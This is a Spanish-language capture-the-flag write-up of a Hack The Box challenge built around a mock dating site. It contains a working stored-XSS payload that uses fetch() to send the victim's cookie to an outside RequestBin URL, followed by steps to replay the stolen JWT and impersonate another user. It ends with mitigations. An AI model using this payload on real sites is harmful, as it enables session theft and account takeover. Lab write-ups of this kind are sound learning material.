Este reto de Hack The Box simula una red social de citas. A través de una vulnerabilidad XSS (Cross-Site Scripting), logramos robar la sesión de otro usuario y obtener la flag final del reto.
Accediendo a la página
Iniciamos la máquina y Hack The Box nos entrega el siguiente host:
94.237.63.165:32414
Pegamos el host en el navegador y se abre una red social de citas. Nos registramos con un usuario cualquiera y accedemos a la plataforma.
Explorando la aplicación
Al iniciar sesión, vemos perfiles para hacer "match". Hacemos match con una usuaria llamada Renata y comenzamos a chatear con ella.
Prueba de XSS
Probamos si el campo de chat es vulnerable a XSS con un payload básico:
<script>alert(0)</script>
El mensaje se ejecuta correctamente, confirmando que el chat es vulnerable a XSS reflejado o almacenado.
Revisión del JWT
Inspeccionamos la aplicación con las herramientas del navegador (F12) y en la sección
de almacenamiento encontramos una cookie con un JWT (JSON Web Token), el cual
mantiene la sesión activa del usuario.
Si logramos robar este token, podemos suplantar la identidad de otro usuario.
Preparando el ataque XSS con RequestBin
Usamos RequestBin para generar un endpoint que reciba las cookies robadas.
Ejemplo de URL generada:
http://requestbin.whapi.cloud/1iavnfa1
Enviamos el siguiente payload XSS a Renata por el chat:
<script>
fetch("http://requestbin.whapi.cloud/1iavnfa1?cookie=" + document.cookie);
</script>
¿Qué hace este script?
document.cookie: Obtiene todas las cookies del navegador.fetch(): Envía una petición GET a nuestra URL con las cookies robadas.
Robando la cookie de Renata
Cuando Renata abre el mensaje, su navegador ejecuta el script y su cookie llega a nuestro RequestBin.
Copiamos su JWT y lo usamos en nuestro navegador:
- Abrimos
F12→ Almacenamiento → Cookies. - Sustituimos nuestro JWT por el de Renata.
- Recargamos la página.
Ahora estamos autenticados como Renata.
Obteniendo la flag
Una vez dentro de la cuenta de Renata, abrimos su chat con otro usuario llamado Dimitris. En esa conversación encontramos la flag final del reto.
Conclusiones
Este reto demuestra lo peligroso que puede ser un XSS si no se controla a tiempo. Con una simple línea de código es posible robar sesiones y acceder a información privada.
¿Cómo prevenirlo?
- Sanitización de entradas: No permitir que los usuarios inserten scripts.
- Cookies HttpOnly: Impiden que JavaScript acceda a las cookies.
- SameSite Cookies: Restringen el uso de cookies entre sitios.
Herramientas utilizadas
- Navegador y herramientas de desarrollador.
- RequestBin para capturar cookies.
- Payloads XSS básicos.
Aprendizajes
- Cómo detectar y explotar una vulnerabilidad XSS.
- Cómo robar una sesión utilizando JWT.
- Cómo usar herramientas como RequestBin para capturar datos.
⚠ Este material es solo para aprendizaje y CTFs legales. No lo uses en sistemas sin autorización.